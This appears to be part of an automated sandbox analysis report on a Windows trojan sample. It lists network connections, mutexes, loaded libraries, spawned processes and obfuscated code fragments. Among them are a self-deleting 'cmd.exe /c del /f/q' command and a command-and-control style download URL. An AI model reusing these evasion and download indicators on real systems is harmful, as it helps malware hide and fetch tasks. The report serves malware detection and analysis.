Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2480692688.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/index/download/task
Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2480692688.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/index/download/taskM
Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/index/download/taskf
Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2480692688.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/v

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.248.236.58:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.248.236.58:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49760 version: TLS 1.2

Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E1660 NtQuerySystemInformation,	0_2_004E1660
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E1678 NtQuerySystemInformation,	0_2_004E1678
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D19DA0 NtQuerySystemInformation,	2_2_00D19DA0
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D19F70 NtQuerySystemInformation,NtQuerySystemInformation,	2_2_00D19F70
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC1320 NtQuerySystemInformation,	2_2_000001D63EAC1320
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC1800 NtCreateThreadEx,FindCloseChangeNotification,	2_2_000001D63EAC1800
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF02A60 NtQuerySystemInformation,	12_2_000001D26BF02A60
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF02C80 NtQueryInformationProcess,	12_2_000001D26BF02C80

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E83AE	0_2_004E83AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059476C	0_2_0059476C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004EE8FE	0_2_004EE8FE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004F0B79	0_2_004F0B79
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004EEE70	0_2_004EEE70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058D2FA	0_2_0058D2FA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E1140	0_2_004E1140
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058D2FA	0_2_0058D2FA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059132B	0_2_0059132B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004EF3E2	0_2_004EF3E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058D39E	0_2_0058D39E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E7440	0_2_004E7440
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004EB895	0_2_004EB895
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004EFB8A	0_2_004EFB8A
Source: C:\Windows\System32\sihost.exe	Code function: 2_3_000001D63EE601BE	2_3_000001D63EE601BE
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D14E60	2_2_00D14E60
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D111B0	2_2_00D111B0
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D1D17C	2_2_00D1D17C
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D11290	2_2_00D11290
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D27250	2_2_00D27250
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D12410	2_2_00D12410
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D265C0	2_2_00D265C0
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D1C564	2_2_00D1C564
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D29510	2_2_00D29510
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D1C870	2_2_00D1C870
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D22A14	2_2_00D22A14
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D29C90	2_2_00D29C90
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D22DC4	2_2_00D22DC4
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D1EDF4	2_2_00D1EDF4
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D25D5C	2_2_00D25D5C
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D2BE48	2_2_00D2BE48
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_0000000180010158	2_2_0000000180010158
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00000001800125BC	2_2_00000001800125BC
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_0000000180011B2C	2_2_0000000180011B2C
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EACD5F4	2_2_000001D63EACD5F4
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EACA3C8	2_2_000001D63EACA3C8
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC53AC	2_2_000001D63EAC53AC
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC3414	2_2_000001D63EAC3414
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAD11AC	2_2_000001D63EAD11AC
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC6188	2_2_000001D63EAC6188
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EACD244	2_2_000001D63EACD244
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAD209C	2_2_000001D63EAD209C
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC50DC	2_2_000001D63EAC50DC
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC5E38	2_2_000001D63EAC5E38
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC59D4	2_2_000001D63EAC59D4
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAD0948	2_2_000001D63EAD0948
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC7A7C	2_2_000001D63EAC7A7C
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_000001D63EAC7770	2_2_000001D63EAC7770
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9B529F	12_2_000001D26B9B529F
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9BB2D4	12_2_000001D26B9BB2D4
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9BFA3C	12_2_000001D26B9BFA3C
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9B5A70	12_2_000001D26B9B5A70
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9B76B8	12_2_000001D26B9B76B8
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9BB684	12_2_000001D26B9BB684
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9BEDAC	12_2_000001D26B9BEDAC
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9B85F4	12_2_000001D26B9B85F4
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26B9BE548	12_2_000001D26B9BE548
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF30B80	12_2_000001D26BF30B80
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF04B80	12_2_000001D26BF04B80
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF21B5C	12_2_000001D26BF21B5C
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF229FC	12_2_000001D26BF229FC
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF01070	12_2_000001D26BF01070
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF21958	12_2_000001D26BF21958
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF22678	12_2_000001D26BF22678
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF2AD18	12_2_000001D26BF2AD18

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@10/1@3/11

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E25DA AdjustTokenPrivileges,FindCloseChangeNotification,WSAStartup,	0_2_004E25DA
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D1A720 GetProcAddress,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,AdjustTokenPrivileges,FindCloseChangeNotification,WSAStartup,	2_2_00D1A720
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_0000000180007462 AdjustTokenPrivileges,	2_2_0000000180007462

Source: C:\Windows\System32\sihost.exe

Code function: 2_2_0000000180002890 CreateToolhelp32Snapshot,Process32First,FindCloseChangeNotification,

2_2_0000000180002890

Source: C:\Windows\System32\sihost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\1723392131
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\1223443280
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\oifacveqzqn
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\n171989023
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4188:120:WilError_03
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\1745317736
Source: C:\Windows\System32\sihost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\71e9c6620d381d60196ebe694840aab3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c del /f/q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" > nul
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\System32\AppHostRegistrationVerifier.exe "C:\Windows\system32\AppHostRegistrationVerifier.exe"
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\SysWOW64\autofmt.exe "C:\Windows\SysWOW64\autofmt.exe"
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\SysWOW64\CertEnrollCtrl.exe "C:\Windows\SysWOW64\CertEnrollCtrl.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c del /f/q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" > nul	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\System32\AppHostRegistrationVerifier.exe "C:\Windows\system32\AppHostRegistrationVerifier.exe"	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\SysWOW64\autofmt.exe "C:\Windows\SysWOW64\autofmt.exe"	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\SysWOW64\CertEnrollCtrl.exe "C:\Windows\SysWOW64\CertEnrollCtrl.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: certenroll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: dsparse.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Section loaded: sxs.dll	Jump to behavior

Source: C:\Windows\System32\sihost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{41fd88f7-f295-4d39-91ac-a85f3149a05b}\InProcServer32

Jump to behavior

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: AitStatic.pdbGCTL source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AitStatic.pdb source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\sihost.exe

Code function: 2_2_00D444BE LoadLibraryA,GetProcAddress,

2_2_00D444BE

Source: initial sample

Static PE information: section where entry point is pointing to: .c1

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Static PE information: section name: .c0
Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Static PE information: section name: .c1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059424C pushfd ; mov dword ptr [esp], eax	0_2_00585C5F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059371D pushfd ; mov dword ptr [esp], ecx	0_2_00593728
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058805D push esp; mov dword ptr [esp], edi	0_2_0059ABD3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_00586046 push dword ptr [esp+50h]; retn 0054h	0_2_00592829
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058807E push dword ptr [esp+50h]; retn 0054h	0_2_00588087
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_00592073 pushfd ; mov dword ptr [esp], ebp	0_2_0059208C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059000E push dword ptr [esp+50h]; retn 0054h	0_2_0059899F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058603C push dword ptr [esp+50h]; retn 0054h	0_2_00598320
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_00590037 push dword ptr [esp+10h]; retn 0014h	0_2_00590046
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058A02A push dword ptr [esp+28h]; retn 002Ch	0_2_00585B43
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E20C2 push 1DDB0D24h; mov dword ptr [esp], edi	0_2_004E20EA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_005860D6 push dword ptr [esp+50h]; retn 0054h	0_2_00586101
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_005900C4 push dword ptr [esp+24h]; retn 0028h	0_2_005900D6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058E0C7 push dword ptr [esp+60h]; retn 0064h	0_2_00592752
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_005920FE push dword ptr [esp+24h]; retn 0028h	0_2_0058B791
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_005920FE push dword ptr [esp+28h]; retn 002Ch	0_2_00592156
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058E0F5 push dword ptr [esp+5Ch]; retn 0060h	0_2_0058E108
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_00586093 push dword ptr [esp+4Ch]; retn 0050h	0_2_005890EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059608D push dword ptr [esp+28h]; retn 002Ch	0_2_005960F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_005880B2 push eax; mov dword ptr [esp], 00000000h	0_2_005880C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059615B push dword ptr [esp+54h]; retn 0058h	0_2_00591495
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059615B pushfd ; mov dword ptr [esp], ecx	0_2_00596166
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E214A push dword ptr [esp+38h]; retn 003Ch	0_2_005819C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_004E214A push dword ptr [esp+50h]; retn 0054h	0_2_0058215F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058E148 push dword ptr [esp+30h]; retn 0034h	0_2_0058E164
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059814D push dword ptr [esp+04h]; mov dword ptr [esp], esp	0_2_00598179
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058E14E push dword ptr [esp+30h]; retn 0034h	0_2_0058E164
